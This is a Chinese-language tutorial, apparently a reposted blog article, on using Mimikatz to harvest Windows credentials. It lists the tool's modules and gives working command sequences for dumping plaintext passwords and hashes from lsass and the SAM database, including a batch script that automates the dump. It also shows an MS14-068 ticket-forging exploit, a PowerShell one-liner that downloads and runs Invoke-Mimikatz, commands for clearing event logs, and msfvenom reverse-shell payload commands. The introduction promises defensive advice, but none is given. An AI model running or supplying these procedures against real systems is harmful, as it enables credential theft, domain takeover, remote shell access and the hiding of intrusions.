Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具,本意是用来个人测试,但由于其功能强大,能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于***测试,可以说是***必备工具,从早期1.0版本到现在的2.1.1 20180205版本,其功能得到了很大的提升和扩展。Mimikatz最新版本一共三个文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分为Win32位(多了一个mimilove.exe文件)和X64位。通过它们可以提升进程权限、注入进程读取进程内存,可以直接从lsass中获取当前登录过系统用户的账号明文密码,lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在lsass内存中,经过其wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中,而mimikatz正是通过对lsass的逆算获取到明文密码!本文以mimikatz最新版为例,介绍了mimikatz的参数、获取密码以及伪造黄金票据获取域控密码等用户,利用ms14-068结合mimikatz获取域控密码等,最后文中还给出了相应的防范方法,对网络***都具有一定的借鉴意义。
1.1.1下载及安装
最新版下载地址:https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180205/mimikatz_trunk.zip
下载后解压缩即可,里面分为Win32和X64,Win32是针对Windows32位,而X64是正对64位操作系统,目前绝大部分操作系统为64位(支持大内存的使用)。其相关资源:
(1)个人blog:http://blog.gentilkiwi.com/
(2)最新版本:https://github.com/gentilkiwi/mimikatz/releases
(3)github库:https://github.com/gentilkiwi/mimikatz
1.1.2使用参数详解
本次测试使用Win32版本,将程序解压后,通过cmd进入当前目录,执行mimikatz程序,如图1所示,随便输入即可获取帮助信息。
图1显示帮助信息
1.基本命令
(1)exit:退出mimikatz。
(2)cls:清除当前屏幕。
(3)answer:对生命、宇宙和万物的终极问题的回答.
(4)coffee:显示coffee图案。
(5)sleep:默认睡眠1000ms,后跟时间参数。
(6)log:记录mimikatz所有的输入和输出到当前目录下的log.txt文件。
(7)base64:将输入/输出转换成base64编码。
(8)version:查看mimikatz的版本
(9)cd:切换或者显示当前目录。
(10)localtime:显示系统当前时间和UTC时间。
(11)hostname:显示主机的名称。
2.使用模块
输入“::”显示其支持模块信息。
(1)standard:标准模块,基本命令,不需要模块信息。
(2)crypto: 加密模块,其后跟以下参数,其使用命令为crypto::参数名,例如crypto::providers,如图2所示。
图2参考加密算法提供类型及名单
providers -该命令列出所有CryptoAPI提供者。
stores - 列出系统存储中的逻辑存储,crypto::stores /systemstore:local_machine
certificates - 显示或者导出证书
keys - 列出或者显示密钥
sc - 此命令列出系统上的智能卡/令牌读取器或将其移出系统。当CSP可用时,它会尝试在智能卡上列出密钥。
hash - 显示当前用户的的哈希(LM、NTLM、md5、sha1、sha2)计算值
system - 描述windows系统证书 (,注册表或者hive文件)
scauth - 从CA创建一个认证(智能卡等)
certtohw -尝试将软件CA导出到加密(虚拟)硬件中。
capi -修补CryptoAPI程序方便导出。
cng - 修补CNG服务方便导出
extract -从CAPI RSA/AES 提供者获取密钥
(3)sekurlsa 枚举用户凭证
sekurlsa::msv - 获取LM & NTLM 凭证,可以获取明文密码
sekurlsa::wdigest - 获取 WDigest 凭证,可以获取明文密码
sekurlsa::kerberos - 获取Kerberos 凭证
sekurlsa::tspkg - 获取 TsPkg 凭证
sekurlsa::livessp - 获取LiveSSP 凭证
sekurlsa::ssp - 获取凭证
sekurlsa::logonPasswords获登陆用户信息及密码,如果是在系统权限或者psexec进入的系统权限下,直接使用该命令,而无需运行privilege::debug,否则需要运行该命令。
sekurlsa::process - 切换或者恢复到lsass初始状态
sekurlsa::minidump - 切换或者恢复到minidump初始状态
sekurlsa::pth - Pass-the-hash
sekurlsa::krbtgt - krbtgt!
sekurlsa::dpapisystem - 显示DPAPI_SYSTEM密码值
sekurlsa::tickets - 显示Kerberos票据
sekurlsa::ekeys - 显示Kerberos加密密钥
sekurlsa::dpapi - 显示内存中的MasterKeys
sekurlsa::credman - 显示管理员凭证
(4)kerberos - Kerberos 包模块
(5)privilege - 特权模块
Privilege::debug - 请求调试权限
Privilege::driver - 请求装载驱动权限
Privilege::security - 请求安全权限
Privilege::tcb - 请求tcb权限
Privilege::backup - 请求backup权限
Privilege::restore - 请求恢复权限
Privilege::sysenv - 请求系统环境权限
Privilege::id - 请求id特权,参数后跟具体的id值。例如请求特权8:privilege::id 8
Privilege::name - 请求指定名称的权限
(6)process:进程模块
process::list - 列出进程
process::exports - 导出进程列表
process::imports - 导入进程列表
process::start - 开始一个进程,后跟进程名称。
process::stop - 终止一个进程,process::stop /pid:1692(结束pid为1692的进程)
process::suspend - 挂起一个进程
process::resume - 恢复一个进程
process::run - 运行一个进程
(7)service - Service module
service::start - 开始服务
service::remove - 移除服务
service::stop - 停止服务
service::suspend - 暂停服务
service::resume - 恢复服务
service::preshutdown - 预关闭服务
service::shutdown - 关闭服务
service::list - 列出服务
service::+ -安装mimikatz服务
service::- - 卸载mimikatz服务
(8)lsadump - LsaDump module
Lsadump::sam - 该命令转储安全帐户管理器(SAM)数据库。它包含用户密码的NTLM,有时包含LM哈希。
在线命令提升模式获取:
privilege::debug
token::whoami
token::elevate
lsadump::sam
离线获取:
通过以下方式备份SYSTEM&SAM配置:
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
或者使用Volue Shadow Copy / BootCD来备份这些文件:
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
然后执行mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv即可获取。
http://www.objectif-securite.ch/en/ophcrack.php和http://www.cmd5.com/可在线进行破解查询。
Lsadump::secrets 从registry或者hives获取保存的密码凭据,可以直接获取明文密码。
Lsadump::cache 获取内存中的密码值
Lsadump::lsa 从lsa服务器获取密码。lsadump::lsa /inject /name:krbtgt
Lsadump::trust - Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys rpdata
Lsadump::dcsync - Ask a DC to synchronize an object
Lsadump::dcshadow - They told me I could be anything I wanted, so I became a domain controller
Lsadump::setntlm - Ask a server to set a new password/ntlm for one user
Lsadump::changentlm - Ask a server to set a new password/ntlm for one user
Lsadump::netsync - Ask a DC to send current and previous NTLM hash of DC/SRV/WKS
(9)ts 终端服务模块
ts::sessions 显示当前的会话
ts::multirdp 允许多个用户使用rdp,安装rdp补丁。
(10)event事件模块
event::drop 启用事件补丁服务,不再记录新产生的事件。
event::clear 清除时间日志。
(11)misc 杂项模块,打开cmd, regedit, taskmgr, ncroutemon, detours, wifi, addsid, memssp, skeleton等。
(12)token -令牌操作模块
token::whoami - 显示当前的身份
token::list - 列出系统所有的令牌
token::elevate - 冒充令牌
token::run - 运行
token::revert - 恢复到进程令牌
(13)vault - Windows信任/凭证模块。Vault::list列出Windows信任/凭证。
(14)net 显示user、group、alias 、session、wsession、tod、stats、share、serverinfo 等信息。
1.1.3mimikatz获取密码
1.旧版本配合psexec密码获取方法及命令
(1)到tools目录。psexec \127.0.0.1 cmd
(2)执行mimikatz
(3)执行 privilege::debug
(4)执行 inject::process lsass.exe sekurlsa.dllbr/>(5)执行@getLogonPasswords
(6)widget就是密码
(7)exit退出,不要直接关闭否则系统会崩溃。
2.bat脚本获取法
(1)创建get.bat脚本
@echo off
mimikatz.exe <command.txt >pass.txt
exit
(2)创建command.txt文件
privilege::debug
inject::process lsass.exe sekurlsa.dll br/>@getLogonPasswords
Exitbr/>(3)执行get.bat文件即可获取密码,pass.txt记录的即为获取的密码,get.bat、command.txt和mimikatz.exe在同一个文件夹下。
2.mimikatz2.0以上版本获取系统明文密码
(1)sekurlsa获取
privilege::debug
sekurlsa::logonpasswords
(2)Lsadump获取密码
Lsadump::secrets
3.利用ms14-068漏洞进行***
(1)生成tgt_zhangsan@admin.com.ccche票据
ms14-068.py -u zhangsan@admin.com -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com
(2)导入票据
mimikatz kerberos::ptc c:/tgt_zhangsan@admin.com.ccche
1.1.4使用ps1批量获取windows密码
在Windows2008及以上操作系统中执行命令:
powershell "IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1‘); Invoke-Mimikatz -DumpCreds"
注意:获取密码的计算机必须能够访问raw.githubusercontent.com网络,也可以将该ps文件下载到其他地址,然后替换后执行。该脚本目前在win2014中只能获取NTLM值,无法获取明文密码,如图3所示。
图3通过ps脚本获取密码值
1.1.5MSF下mimikatz获取密码
1.需要生成一个反弹的可执行程序或者通过漏洞直接获取一个反弹的shell。下面是通过msfvenom生成shell:
(1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
(2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
(3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
(4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
(5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
(6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
(7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
(8)Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
(9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
(10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
(11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
在架构中比较好用的有两个cmd/powershell_base64和x86/shikata_ga_nai,下面生成一个实例(反弹的服务器IP为192.168.106.133):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe
参考文章:
https://evi1cg.me/archives/Get_Passwords_with_Invoke-Mimikatz.html
https://www.cnblogs.com/backlion/p/8127868.html
原文:https://blog.51cto.com/simeon/2491637